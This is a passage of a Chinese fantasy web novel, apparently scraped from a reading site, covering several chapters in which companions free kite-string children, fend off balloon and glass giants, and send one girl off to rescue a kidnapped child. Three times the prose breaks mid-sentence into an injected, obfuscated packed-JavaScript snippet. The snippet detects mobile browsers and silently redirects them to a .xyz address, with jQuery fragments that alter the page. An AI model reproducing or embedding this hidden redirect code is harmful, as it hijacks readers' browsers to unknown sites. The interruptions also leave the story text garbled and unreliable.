萨满少女站起身,欲言又止,犹疑的目光在其他孩子身上逡巡一圈。遥遥望去,所有人都是大同小异。 那些孩子们有的像在敲打键盘,有的像在翻书……24个动作均不相同,但都在无意识重复。根据他们重复的动作和地下对应的物件,其实很容易能猜出来他们各自在干嘛。 但即使如此又如何呢? 几个人还是一头雾水。 “要不然,”洛祈若有所思,他对物灵配对这个环节已经略有些经验,建议道,“我们把那些物件,放进他们正在进行的动作中试试?” 但很显然,这些风筝人就是靠那些物件牵绊才得以落地。如果取下物件,会不会直接飘走其实很难说。 “不急。”萨满少女谨慎道,“我先来试试看回溯一下过往。” 说着,她的目光再次移回眼前那个“游戏少年”风筝人。 此时的风筝人加上提线长度,基本跟一个少年等身高,看起来是十几岁的模样。 “那也行。”洛祈道。 萨满少女走近,单手拉住风筝人的线轴,少年立刻向前倾身45度。随后少女口中默念什么,将手放在了那人的额顶。 这一套动作行云流水,埃文对此无比熟悉。确实,这件事还真只有她能做。 片刻后,少女的神色变了。她一歪头,似乎有什么超出了她的预料。 “怎么了?”洛祈问。 “跟我想的不太一样。”少女道。 随后她将手从风筝人额顶拿下来,表情有些凝重,像是在组织语言,“我一开始以为,这可能就是个网瘾少年。” 洛祈疑惑了,“难道……不是?” “也不能完全说不是。”少女摇摇头,“只是跟我想的不太一样。” “怎么说?”埃文问。 “这个孩子……”少女看向大家,徐徐道来,“小时候家庭应该还算挺优渥,他们家算是家族里比较富裕的,亲戚很多。但好景不长,他父母在一次空难中意外去世了。巨额的赔偿金落到这个孩子身上,因此所有的亲戚都想要来认领他。” “但是……”少女回头看看仍然在无意识按动手柄的男孩,继续道,“那时候他太小了,在父母没了的前提下,根本无法阻挡那些人。因此在回溯当中,我看到他十岁之后的所有日子,其实都兵荒马乱。一会儿被接到这个亲戚家,一会儿被接到那个亲戚家住。” “可以想象。”埃文点了点头,“然后呢?” “一开始,”少女继续,“大家都对他很好。在男孩的视角里,我看见每个亲戚都把他当成宝一样,非常殷勤。恨不得抓住男孩长久地住在自家。但后来……” 少女摇摇头,“不知道是不是终于把赔偿金瓜分完毕,当然这只是我的猜测,男孩的视角看不到那些隐秘的东西。能看到的,只是亲戚们渐渐变了,开始一个一个将他赶出自己家。” “……”洛祈不由垂眸叹了口气。 “因此他又一个人回到了空荡荡的自己家。但是到这还没完,”少女有些无奈,“没过多久便有人上门,告诉他这个房子已经被拍卖了,让他限期之内搬离。” “什么?!”许梦扬炸了,“不是,凭啥?” 少女耸肩,“没办法,他只好又回去找那些亲戚。但亲戚们根本就不愿搭理这个孩子,最后,是最穷的一个叔叔收留了他。” 洛祈刚想松一口气,却听少女道,“没想到有一次,他晚上睡不着,起夜时却无意中听见叔叔婶婶两个人正在讨论房子的拍卖款下来要怎么安排。” “这太残忍了。”索尔连连摇头。 “是啊,所以他没忍住,”少女道,“又刚进入青春期,当场就出去和他们大吵了一架。” “结果呢?”阮廷榭急忙追问,“还好吗?” 少女摇头,显然结果是不会好了。 “一周后,男孩周末从学校回来,亲戚一家已经悄无声息搬走了。完全没有跟他打招呼。”少女垂眸,“门一打开,房间里已经空了。唯一留下的就只有几百块钱,和一套半新不旧的游戏机。” 洛祈瞬间看向地面的手柄,“就是那个吗?” 少女点点头,“从外观上判断,应该是的。” 洛祈心情复杂,看着那个小型风筝人,喃喃道,“所以才会变成这个样子吗?” “后面的事情……应该就比较好猜到了。”萨满少女叹出一口气,“也许是接二连三受到打击太大,从那天之后他就没再去过学校,也没再跟任何人联系过。看起来一蹶不振,只在家里待着,终日跟游戏机为伴了。” “可是,”没来得及更多唏嘘,洛祈心里就升起一个不好的预感,“他要怎么活呢?还是他已经……” 洛祈没忍心说下去,少女却再次摇头,“这就是让我奇怪的地方。他还活着。但他曾经,似乎经历过濒死瞬间。” “濒死瞬间?”许梦扬惊了,“展开说说?” “本来我一开始也以为他会死,”少女道,“因为在回溯的后面很长一段,他整个人的状态都很不好。没日没夜地打游戏,那个直愣愣的样子……”少女转头看向风筝人,“跟这个表情非常像。重复,再重复。不知道时间流逝,也不知道饥饱,不知睡意。就感觉是一种整个人沉浸、又抽离,分不清现实和虚幻的麻木状态。” 听起来确实离死亡不远了。 “最后,我看到他的眼皮沉沉落下,视野变黑。我甚至都看见他濒死之前,脑海里闪过的走马灯。是小时候父母为他庆生,一家三口最快乐的时候。但奇怪的是,”少女迟疑了,“就在我以为他会就此断气的时候,他又重新睁开了双眼。” 所有人:? “然……然后呢?”许梦扬问道。 “然后他起身,缓缓走向门口。打开门,一道惊雷。外面正下着一场迅疾的暴风雨。”少女仿佛自己也难以置信,“再然后,他慢慢走出去,走进暴风雨里……然后我就再也看不见了。画面就到这里了。” 而这也刚好连上失踪。 所有人都惊呆了,没想到会这样。 “这也太匪夷所思了。”埃文道,“无法用常理解释。” 萨满少女转过身,急于求证,“我再看看其他的。”随后便走向其他小型风筝人,一个一个回溯过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982621|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 半晌回来后,她语气笃定,“我现在确定了,这些孩子们有几个共同点。第一,无论男孩女孩,他们都还活着;第二,他们都曾陷入过那种分不清现实和虚幻的状态;第三,最后见到他们的画面,”少女望向大家,“都是走进暴风雨里。” “这就跟那句‘暴风雨就要降临’对上了!”洛祈忙说。 “这也就意味着,‘第五只尖角’那一句,”埃文道,“是最后一句。那么如果按童谣来考虑,这几句话应该是顺序排列。至于‘第一只尖角’前面还有没有其他内容,还不清楚。” “应该是这样。”萨满少女沉吟,“第一、第四、第五……那我们就还有两句还不知道。” 洛祈看着地上那24个物件,仍然有点跃跃欲试。被许梦扬一眼看穿。 “行啦,”许梦扬道,“来索尔,我们帮洛祈拉住一个风筝人,让他试试看,会怎么样。” “好。”索尔一笑,走过去跟许梦扬一起,拉住了那个游戏手柄捆住的风筝人。 洛祈嘿嘿笑了,“谢谢你们啦。” 随后,他从黑色提线上把那个游戏手柄解下来,对着风筝人不断按动的双手轻轻放置进去。当五指对位,嵌合完毕,忽然,又一件神奇的事发生了。 少年风筝人整个人一愣,动作停止。低下头,看向自己手中的手柄。 就在此时。 原本被提线所替代的腿部下半截,忽然一点点充实起来。开始变粗,变成真正的腿的样子。 再然后,少年的双脚出现,终于踩到了地面。 “什么情况?”许梦扬惊呆了,转过头跟索尔一使眼色,他俩先后小心翼翼地放开了手中抓住的线轴。 少年好好待在原地,没有飘起来。 “这太神奇了。”埃文也目瞪口呆,“……为什么啊?” “因为,”埃文头顶的星星忽然道,“只有当风筝人认清何为真实,不再沉于虚无和幻想,才会变回正常的人。” “原来如此……” 话音刚落,那个少年忽然蹲下去,哭了起来。一开始只是小声呜咽,随后变成闷闷的抽泣,最后整个人嚎啕大哭,像是要把一辈子的伤心都发泄出来。 洛祈忍不住红了眼眶。他也蹲下去,轻轻揽住少年肩膀。 “让他哭吧。”萨满少女道,“不这样哭一场,确实很难走下去。” 或许人生就是这样,哭完了,发泄了,面对了,人才会慢慢长大。 片刻后埃文道,“那我们把所有物件都对上吧。” 几个人分工安排有条不紊,将其余23个物件也依次解开、安置,和风筝人的动作嵌合起来。然后看着那23个孩子渐渐重新“长出”双腿,重新落地。 不管当时是因为什么迥异的原因陷入了虚无和幻想。 但至少此刻—— 每个孩子脸上的表情,都像是重新活了过来。 空气中忽然传来一些波动。 动静很小,只有洛祈能感受到,因为他刚刚缔结了契约……那是风的物灵。 那阵风穿梭在孩子们之间,包裹住孩子们,然后洛祈很神奇地领会了它的意思,“你要送他们走了?”他轻声问。 风之物灵轻柔地掀起洛祈的衣领,给了他一个回应。随后滑过孩子们的双手,像一个慈和的长者在让他们跟眼前的人说再见。 孩子们一个一个,抬起手挥了挥。 “好吧。”洛祈有些不舍,但至少萨满少女确认过他们还活着,尽管再匪夷所思,他也还是选择相信,挥手道别。 于是其他伙伴也只好挥挥手道别。 下一刻,耳边风声起,刚刚铸成的隐形屏障蓦地消失。微风托举着24个孩子飞起,越飞越高,一路向着远方而去。 “他们要去哪里啊?”许梦扬轻声问。 “不知道。”洛祈注视着那些身影越变越小,“也许,会是个好地方呢。” 50.混战开始 风障消失的几分钟内,外部的气球人依旧对他们虎视眈眈,却不敢靠近。仿佛被关在玻璃箱里的跳蚤,在不断被隐形屏障反弹之后,开始犹豫,还要不要前进。 “我怎么感觉那些气球人变矮了一点啊?”许梦扬疑道。 洛祈环顾四周,打量了一圈,发现确实有点。那些气球人十分钟前还顶天立地,仿佛能直插云霄,感觉恐怖至极。 可现在,却好像缩了好几头,虽然依旧巨大,但似乎只有半山高了。 “是哦。”埃文观察后说,“是漏气了吗?” “好像是。”索尔道。 既能充气膨胀,又能漏气缩小。这倒是引起了洛祈的思考,为什么呢?这些人是否真的存在一些未知的充气规则? 天空中,依旧四处飘浮着风筝人。 放眼望去,那些风筝人东倒西歪,有高有低,只不过多是大型的了。 伙伴们终于感觉获得了片刻安宁。 唯有索尔和阮廷榭隐隐有些担忧。两人眼神一对,彼此心领神会——如果这里出现的气球人、风筝人和玻璃人都是在场的伙伴已经遭遇过的。那么,他们遇见过的空心人在哪呢?尤其是那个空心阮廷榭,也是个相当危险的家伙。 许梦扬大喇喇往地上一坐,看了眼周围的气球人和玻璃人的影子,“我捋一下现在的情况。包围我们的现在有五块陆地,三块上面有气球人,剩余两块是玻璃人。虽然陆地没有连接在一块,但是要想突围,也不容易,大家有什么想法吗?” “我奇怪的是,”埃文坦言道,“这些陆地到底是从哪里来的呢?还是说,除了我们分裂的陆块在移动,其他各处也在发生板块运动?” “各位,”黑牒声音出现,“关于这个问题,请看刚刚重新绘制完毕的地图,或许对你们会有帮助。” 黑牒将再次绘制的岛屿地图投射在目镜显示器上。众人一看,皆是一惊。 “这是?”洛祈惊疑,“一个五角星?” 地图上,代表几人的红点被包围在五块大陆之间。而那些大陆的形状,每一块都是一个尖尖的三角形。尖角朝外,长边朝内。 “看来,”埃文观察少顷,“我们被包围在一个五边形的海域内。” “是的。”黑牒道,“你们猜得没错,在刚刚的移动中,整个岛屿被分解并发生了板块重组。这是我根据监测,模拟的板块运动轨迹。” 说着,画面中再次显示出他们一开始见到的五边形岛屿地图。随后分裂的纹路出现,整个岛屿分解成蜂巢状碎片矩阵的瞬间,五个不同方位的红点朝中心开始了加速移动。那是他们。 而剩余的那许许多多个陆块,其实并没有停在原地不动。 虽然慢他们一步,但那些陆块们也在匀速进行运动,并且朝着外围方向,开始了板块重组。 最终,在几人的外侧,逐步组成了他们看到的五块大陆。 换句话说,原本的岛屿主体,此刻变成了五边形海域外的五个尖角。 “这什么意思?”埃文奇道,一个诡异的念头在心头浮现,“难道说,这才是这座岛屿原本的样子?” “不清楚……”萨满少女不置可否,“但有一件事,也许我们现在能确定了。” 几人看向她。 萨满少女抬头,给出结论,“也许,我们听见的哼鸣声当中说的‘尖角’,就是星星。” 此言一出,无论是原先想到的,还是没想到的,都有种恍然的感觉。 “是哦!”许梦扬对着地图比划了一下,“星星有……五只尖角,还真是哎!” 那这首童谣的主体就不言而喻了。 “——嘿!大家!!” 一道熟悉又模糊的声音伴着海风从远处传来。 “是不是有人在叫我们?”“好像是……”几人先是看了看身边,不太确定,随即起身朝着模糊的声源望去,顿时眼前一亮。 远方,塞勒双臂挥舞,骑着巨鲨踏浪而来。 而她身前那个同样在挥着小手的红色身影,正是伊甸! 微咸海风拂过面颊,一丝安心掠过心头,每个人都如释重负。 “太好了!”洛祈也挥手呼喊道。 “看,”萨满少女小声道,“我说你妹妹不会有事吧?” 埃文释然地笑了,确实,在场恐怕没有人比他更欣喜了。 许梦扬熟稔地爬上那棵高大橡树,拿出单筒望远镜一瞧。塞勒脸上有些红,他敏锐地察觉那可能是血迹,再看她身下的巨鲨,许梦扬虽然不知道巨鲨是怎么来的,但看起来,塞勒一定经过了不少艰难争斗。不禁暗暗比了个拇指。 索尔跟阮廷榭则趁此时提前检查了下医用包,以免同伴有不时之需。 另一边,鲨鱼背上,伊甸晃了晃身体,看起来格外开心。 “看见你哥哥了,”塞勒笑着捏捏她的小脸,“是不是很高兴呀?” “嗯!!” 阳光灿烂,海面波光粼粼,巨鲨的身躯稳稳地破开海浪,一路向着伙伴们驶去。 所有人都沉浸在重逢的喜悦里,一时没注意,被气球人发现了端倪。几个气球人顺着视线一转身,看见远处两人一鲨越靠越近,再看看中间被困的几人,明白了……这一切只透露出一个信息,那就是屏障已经没了。否则那两个人也进不来。 轰然一啸,水花四溅。 海面波涛炸起! 是几个气球人一同拍击,朝外推出一圈圈汹涌海浪。 洛祈和伙伴们猝不及防,震惊回头,在剧烈摇撼的陆块上根本无法站稳,顷刻便纷纷跌倒。 就在此时,巨大的气球人一脚抬起,势若千钧的阴影自头顶铺开,所有人都猝然抬头,眼看就要落下! 这一脚要是真的落下来,绝无异于泰山压顶。 洛祈踉跄起身,迅疾将双手尽数没入海水,口中不停默念着什么。刚刚包扎的绷带顿时润湿,随即一点点变红。 阴影迅速迫近。 千钧一发间,一面弧状水屏自海上破空而出。沿半圆形轨迹将几人的陆块急速包裹其中! 气球人一脚踩在水屏之上,强烈的震荡将其反弹了回去。水屏即刻开裂,一时如落雨倾盆,瓢泼而下。 但至少大家都得救了。 洛祈面色微白卸了力,坐在陆块上不住喘息。 其余几人淋得湿透,这才后知后觉是发生了什么。许梦扬连忙喊道,“洛祈!你还好吗?” 强烈心悸让耳边嗡鸣作响,洛祈说不出话,只摆摆手示意自己没事。 陆地外围。 深水沉闷震动。 继而掀起惊涛骇浪。 滚滚洪流向着已达不远处的塞勒奔袭而去。 “伊甸,抓紧了!”塞勒说完,拍了拍巨鲨。 巨鲨立刻一跃而起,在层层浪潮中以更快的速度穿行数米,向伙伴们疾驶而去。 分秒必争,距离越来越近,塞勒身体前倾,终于看清楚了状况:原来他们被包围了!从她的角度望去,正看到一群巨人,准备再度向中央发起攻击。 “快!就是现在!”塞勒话音一出,巨鲨连续三个腾跃,又狠狠落下,在那三块陆地外围就势拍回三股巨大浪潮,疾风骤雨一般扑向了那些气球人。 瞬间引起了陆地上气球人的注意。 “来啊!”塞勒喊道。 风云变幻间战场互换。 巨鲨不远不近地游动着,她的机动性很强。气球人们逐渐被吸引,一个个巨大身躯转了过来。中央获得片刻喘息。 缓了口气,洛祈再次摊开双手,看着掌心纱布渗出的血,“原来真的可以……” 刚才的水屏说完全没意外是不可能的。他承认,这次他有赌的成分。 赌的就是万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990408|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物有灵,契约能互通。 毕竟他已经跟风的物灵缔结过契约,不管跟血液有没有关系,至少他是个什么人,是否虔诚……他赌海水的物灵能够感应到。 “当然,小祈。”头顶毛茸茸的声音轻快响起,“做的很棒呢!我说过,当你在面对物灵时,物灵也在感应你。现在对契约和召唤有些感觉了吗?” “嗯……”洛祈点点头,“好像有点了,谢谢你星星。” “这只是开始,你会越来越熟练的!”星星的声音跳跃一下,“但是要注意哦,现在跟以前只是单纯感应不同,长时间或频繁使用契约的力量后记得要休息!否则你会体力不支的。” “好,我知道了……” 话音未落。 喀拉喀拉,喀拉喀拉。 耳边同时响起两个声音,一个是清脆的开裂声,微弱却不容忽视;一个是埃文随之而来的惊叫,“糟了!小心那些玻璃人!” 洛祈猛地回头,看见最近的一块陆地上,两个玻璃人已然从虚影变成了实体,表面的裂痕正一道道散开,随即清脆的炸裂声响!玻璃碎片破风袭来! 电光石火间,洛祈双手再次浸入海水。这一次,升起一面高约数米的巨大水屏,瞬间阻挡了所有碎片。 “什么情况啊?”洛祈不禁问道。 “好像是刚才气球人那一脚力气太大,”埃文道,“震荡出的水花飞溅到了最近的玻璃人身上!才引起了破碎!” “什么?!” 恐怕谁都没料到居然会是这样。 “所以我才说,”埃文有些无奈,“它们真的很危险。” 喀拉喀拉的声音不止,洛祈有些奇怪了,“大家退后一些,我看下什么情况。” 伙伴们连忙退后,洛祈降下水幕一看,惊了。 原本只有两三个开裂破碎的玻璃人中,又多了好几个正在开裂的人!正以刚刚那两人为中心,多米诺骨牌一般向外迅速扩散! 咔嚓咔嚓,又是清脆的炸裂声响!玻璃碎片嗖嗖嗖袭来! 洛祈瞬间升起水幕,很是震惊,“这到底怎么回事啊?它们怎么都开始碎了?” “因为最开始碎的那两个玻璃人。”埃文对此已经比较有经验,解释道,“它们碎裂的时候,玻璃片像四周炸开,除了射向我们这边,还射向周围。而这就不可避免地发生连锁反应,离它们近的其他玻璃人就会一个个接连破碎。” “什么?”洛祈一时语塞,“那怎么办?” “没办法。”埃文摇摇头,“之前我遇见它们的时候,密度没有这么大。所以只要离得远,一个玻璃人破碎,避开就行了。但现在……恐怕只能等那一整个陆地上的玻璃人全部碎完才会停……” 洛祈无奈,“好吧。” “我来试试。”萨满少女起身,从腰间拿起手鼓,咚咚、咚咚敲起来。顷刻间,确实能听出来,迅速开裂的声音似乎放缓了。 “有用哎!”洛祈道。 但饶是如此,咔嚓咔嚓的玻璃炸裂声仍旧不绝于耳。 萨满少女额角出了薄汗,摇摇头道,“不行,我只能延缓碎裂的速度。” “……已经很好了。”埃文忽然一愣,“对了洛!确实还有一件事可以做。”他指向旁边那块玻璃人大陆,“趁这边外围的玻璃人还没波及到,你稍后可以在两块大陆之间加一块屏障吗?不然这边的玻璃人炸完,就有可能炸到另一边去!” 两块大陆离得很近,要是蔓延到另一边去,确实很麻烦。 “只是……”埃文说完,看向洛祈,“会不会很勉强?” 刚刚三次升起水幕到现在洛祈已经有点木了。 说不勉强,那是假的。 但眼下情况已经到这了,没得选。 洛祈简单评估了一下自己的状态,在两块陆地间,又升起一道水幕。 “没事。应该可以。” 51.金鲨奖 陆地上的玻璃人们噼里啪啦,鞭炮一般炸开。直到清脆的炸裂声完全停止,水幕降下,洛祈才终于累得坐倒在地。 “洛祈!”许梦扬冲了过去,扶起他,“还能撑住吗?” 洛祈唇色淡了一些,心跳打在耳膜上感觉脑袋嗡嗡的。掌心的伤痕已经被海水洗得发白,他强撑着,“还行,只是有点累。” 阮廷榭立刻从医药包里找出两瓶葡萄糖,走过去拧开盖子,“这是能喝的,你要不要补充一点糖分?” 许梦扬拿过瓶子。就着他的手,洛祈喝了几口。 拧上瓶盖,许梦扬神情变得严肃,“不行,不能这样。不能只靠洛祈一个人,一个人的能量终归有限。我们必须动起来,否则无异于坐以待毙。” “你打算怎么做?”索尔走过来。 许梦扬随手捡起一块石头,在地面上画了一个星星,“五块陆地,五个尖角。”他看了下刚刚那块玻璃人大陆,现在已经是一片寂静的玻璃渣废墟。 “目前看来,玻璃人的攻击往往是被动的。既然不会主动攻击,那只要我们多留意些,另一块玻璃人陆地就暂时安全。” 他用石头在前方、左右两边的三个尖角上各点了一下,“当务之急,是对付这些气球人。塞勒那边虽然可以拖时间,但他们人多势众,拖着毕竟治标不治本。我们得想办法援助她。” “啊!”不远处,忽然传来塞勒的一声惊叫。 几人顿时转身望去,埃文瞳孔一缩,大喊道,“伊甸!” 伊甸正被一个金色风筝人纠缠住,小小的身体奋力却根本难以抵抗。 塞勒那边自己都不知道怎么回事,本来她一直专注地在跟气球人们对峙,海面惊涛拍岸,时近时远,双方都不甘示弱,根本没注意过上空什么情况。 结果突然阵风袭来,一道光影似闪电般从空中俯冲而下。塞勒只觉金光一闪,那风筝人就强行抓起伊甸准备起飞。 “想都别想!”塞勒一手护住伊甸,一手抓住风筝人的蒙面,跟对方撕扯起来。 二人展开一场角力。那风筝人身形跟塞勒没差太多,一时比拼不过,立刻飞身而起,在空中打横翻转一圈,霎时无数金色粉尘扑面而来。 “!”塞勒立刻向后仰倒,下意识闭上双眼,捂住口鼻。瞬间翻下了巨鲨脊背。 “塞勒!”许梦扬双目一睁,向前探身,眯眼观察,总觉得这个场面无比熟悉。 然而就趁这一秒空挡,风筝人再度抓起伊甸,一大一小几乎毫无阻滞飞上天空。 “伊甸!” “伊甸!!” 在场几人看着风筝人很快速地向远处飞去,都不约而同呼喊起来。 “伊甸!!!” 埃文甚至直接跳下海面向外游去,但很明显,没游多久他就知道不可能的。风筝人毕竟在天上,无论他游得多快都没办法相提并论。 塞勒噗一声浮出海面,双手抹了把脸向上看去,风筝人已经越飞越远。 “——哥哥!”伊甸稚嫩的呼喊远远传来。那是埃文许久许久没听过的声音。 “该死。”塞勒不禁猛砸了下水面,“怎么就,让它跑了!该死!” 不远处气球人又一波强劲海浪袭来,瞬间将海里的塞勒推远。海水没顶,巨鲨沉入海里再次将她托起,又一个腾跃拍回浪潮。但塞勒眉间紧蹙,神情忧虑,已然无心恋战。 伊甸被抓无疑打破了当前的局面。大家都无法坐视不理。 “你们看天上!”许梦扬忽然道。 随着那个风筝人的远离,其他一些风筝人也开始调转方向,准备向远处飞去。 许梦扬灵机一动,“我们得至少出个人,想办法跟那些风筝人回去!” “我去!”埃文刚游回岸边,毫不犹豫喊道。 此刻的塞勒心急如焚,想绕过这些气球人跟伙伴们会和,但她一动身,那些气球人便跟着转向,瞬间便再次面向了中央区域。 头顶的阴影迅速铺开。 只见最近的气球人再次抬起一脚,跟刚刚如出一辙,眼见就要落下! 然而此时的洛祈面色发白,双腿乏力,即使踉跄翻滚着,也根本无法迅速将颤抖着的双手浸入海面。更别提发动契约力量了! 黑影罩顶。 他们完了。 正当伙伴们以为会就此被踏碎,而纷纷跳入海中时,一阵黑雾从天而降,似阴风乍起顷刻间弥散开来,将所有人都包裹其中! 身边伙伴们的声音飘浮破碎,“这什么啊?” 洛祈看不见大家身影,但他一瞬便明白了这黑雾是什么。 移形雾。 顿时一股森寒爬上脊背。 星星说过,被移形雾包裹其中是相当危险的事,而且他已经被警告过了,这次再遇见,洛祈绝望地闭上眼,肯定在劫难逃了。 可让他没想到的是,不过片刻,伙伴们便被一个一个“吐”了出来。又落回中央的陆块中。 外围还是黑雾弥漫,气球人被笼罩其中,挣扎无门。而此时的中央区域犹如一片净土。洛祈匪夷所思地望向黑雾,难以置信。 难道……它在帮他们? “哼,小东西们!”外围的黑雾分出一缕缕,逐渐汇集聚拢,再次出现一个人的雏形,“看在你们勇气可嘉的份上,帮你们一把好了。” 依旧没有五官也看不见任何表情,但洛祈明显感觉,这移形雾似乎不太一样了。 机会稍纵即逝,许梦扬立刻起身,虽然还搞不清楚状况,但仍喊道:“谢谢!”他三步并作两步爬上树梢,向空中逡巡一圈。 索尔、阮廷榭、塞勒、萨满少女依次起身。而埃文此时,则再次对萨满少女之前的那句“这座岛有人在帮我们”加深了确认。 “还来得及!”许梦扬在树上喊了声,“我们的当务之急,就是出一个人跟风筝人回去,寻找伊甸。” “我!”埃文再次说。 但这次许梦扬却迟疑了,他迅速下了树来到大家身边。先是对埃文说,“埃文,我知道你很着急,但这件事,你还真不行。” 埃文:“为什么啊?” “或者说,”许梦扬扫视周围一圈,遗憾道,“在场的所有男生,都没办法。” 塞勒和萨满少女对视一眼,“这是为什么?” “因为这次是要借风筝人的力。”许梦扬解释道,“我跟一个风筝人打过交道,以他的浮力和我的体重,二者对冲,做降落伞绰绰有余。但能让人安稳坐在上面而不掉下来,以各位男生的体重可能不行。” 确实,单说骨架重量,就差不少。 塞勒和萨满少女的身高身形都差不多,论体重的话,萨满少女可能还更轻一点。 “我去吧。”塞勒说。 萨满少女耸耸肩,“我也可以。” “还是……”埃文有些迟疑,“还是让我试试吧,说不定可以呢?” “好吧。”许梦扬微微叹了口气,“那你就来试试吧。” 埃文跟着许梦扬爬上了树,随即发现一个问题,“可是Xu,你要怎么借风筝人的力呢?”他看着高高在上飘浮着的风筝人,“这根本够不到啊。” “放心。”许梦扬狡黠一笑,“我自有办法。” 于是埃文就看着许梦扬先是左顾右盼,随后对着某个方向大声喊了一句,“神的化身先生!你在吗?” “噢!”随着远远传来的一声回应,埃文看见一个圆圆胖胖的风筝人,正扭动着巨大无比的风筝身躯朝下飞来,“小伙子!” 埃文:?! 那人的语调依旧浮夸,“我们又见面了啊!” “啊哈哈,”许梦扬陪笑道,“是啊哈哈。好久不见呢,神的化身先生。”虽然心里吐槽并没有很久,但还是保持完美微笑,“你看起来更有神……性了呢。” 那个风筝人一愣,似乎是被跳过了对话般歪头想了想,随后又不甚在意地笑开,心满意足道,“噢呵呵,那是!” 果然他还是这个样子。 许梦扬不禁想,星星说风筝人或沉于虚幻,或执于妄念。那眼前这个不会是外国修仙者吧?不然怎么老是执着于什么神性…… “对了,神的化身先生,”距离很近,许梦扬一边说话,一边悄摸拉起风筝人长长的提线,嘿嘿一笑,“我上次帮你脱离树枝,你是不是还欠我一个道谢呀~” “噢?”风筝人思索,“有吗?” “当然啦。”许梦扬双眼弯弯眯起,笑的渗人,“你不记得了吗?” 说实话当时帮了风筝人,不但没给他当降落伞,还差点让他摔死,真想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996022|155864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好好重拳收拾一顿。 手在底下一勾,迷茫的埃文立刻会意走了过去,眯眯眼许梦扬不动声色把提线递到他手里。 “这个嘛……”风筝人迟疑,“真的有吗?” “忘恩负义的人,”许梦扬眯眼慢慢笑道,“是会受到惩罚的哦~” 风筝人:? 许梦扬一拍埃文,埃文立刻抓着提线飞身离开树枝,结果不出所料,风筝人的浮力根本支撑不了他的身高体重,瞬间就被埃文带了下去。 扑通一声,埃文整个人落到海里,飞溅了风筝人一身水。提线一松,风筝人再次飘了上去,又被许梦扬一把拽住,笑眯眯道,“想起来了吗?神的化身先生?” “噢~”莫名其妙受到惩罚的风筝人脸上挂着水,歪头想了想,微妙地转变了态度,“好像是有,这么回事?” “那就好。”许梦扬非常满意。顺手把提线绑在了树上。 重新回到陆块上的埃文摇了摇头。看来许梦扬说的没错,在场的这几个男生恐怕都没办法。 “是不是要轻点的?”萨满少女思忖片刻,“那我去吧。” “但是,”埃文想了想,“还有一块陆地上有玻璃人。”客观来讲,萨满少女确实对玻璃人有压制作用,让她去,埃文又怕有特殊情况需要她在。 “还是我去吧。”塞勒说,“毕竟是从我这被抓走的。”她心里始终过意不去。 说完,塞勒便径直走向那棵橡树,冲上面的许梦扬喊道,“我去!” 一根粗绳从上面放了下来。 塞勒迅速捆绑完毕,攀岩一般爬了上去。 刚上到枝桠上站稳,塞勒就看见许梦扬正神神秘秘跟风筝人说什么“修炼神性的好方法……” 塞勒:? “呐,”一见她上来,许梦扬立刻拉过塞勒,“这就是我跟你说的,行走的神性加持剂。你只要背着她飞行,你的神性含量将按照里程累积获得。” “……”塞勒双唇微碰,小声问道,“我怎么不知道……” “微笑,别说话。”许梦扬笑眯眯道,“听我的,保证安全起飞。” “噢呵呵,”风筝人简直两眼放光,又有些疑惑,打量塞勒片刻,“真的吗?” “那当然。”许梦扬道,“不信的话来给你小露一手!”随后胳膊肘一捣塞勒,也小声道,“……随便来点儿。” 塞勒凝固片刻,随后在风筝人震惊的目光下,一挥手,巨鲨从海中腾跃而起,又一挥手,巨鲨直接做起了海上动物表演,那卖力程度简直不输海豚。 许梦扬嘴角抽搐,双手啪啪地拍起来,心想这也太配合了……要是动物界有奥斯卡,真该给它颁个金鲨奖什么的。 “看见没!看见没!”许梦扬嘘一声凑近道,“这一般人我可不告诉他,你只要按照她的吩咐,保证她在飞行途中不掉下来,顺利到达目的地。你就可以比别人少十年修炼,随时随地到达永生极乐境界!” 塞勒目瞪口呆,上下齿相碰保持微笑,看许梦扬快把那人忽悠瘸了。 但更让人震惊的是那人还真信了! “噢呵呵!”风筝人已经迫不及待,“好哇!上来吧!” 许梦扬松了口气,冲塞勒一偏头,使个眼色,塞勒便走过去,小心地翻身上了风筝人的背。 一瞬浮沉,许梦扬双手下托,时刻观察着风筝人的情况,发现还算稳定之后,点了点头,“还行。”顺手取下自己的头盔,递给塞勒,“这个你拿着,有什么立刻联系。” “谢谢。”塞勒接过头盔,冲许梦扬笑了下,“对了,有个事要跟你说一下!” “什么?” “那个巨鲨的鳍上有一个冰刃。”塞勒交代,“据说是无坚不摧,能够摧毁一切。你看着如果有需要的话,可以拿去用的。” “好。”许梦扬点头。 风筝人已经掠过了头顶,塞勒挥挥手,“那我走啦!放心,我一定找到伊甸!” 许梦扬目送她向上飞去,顿了顿还是说,“注意安全!” 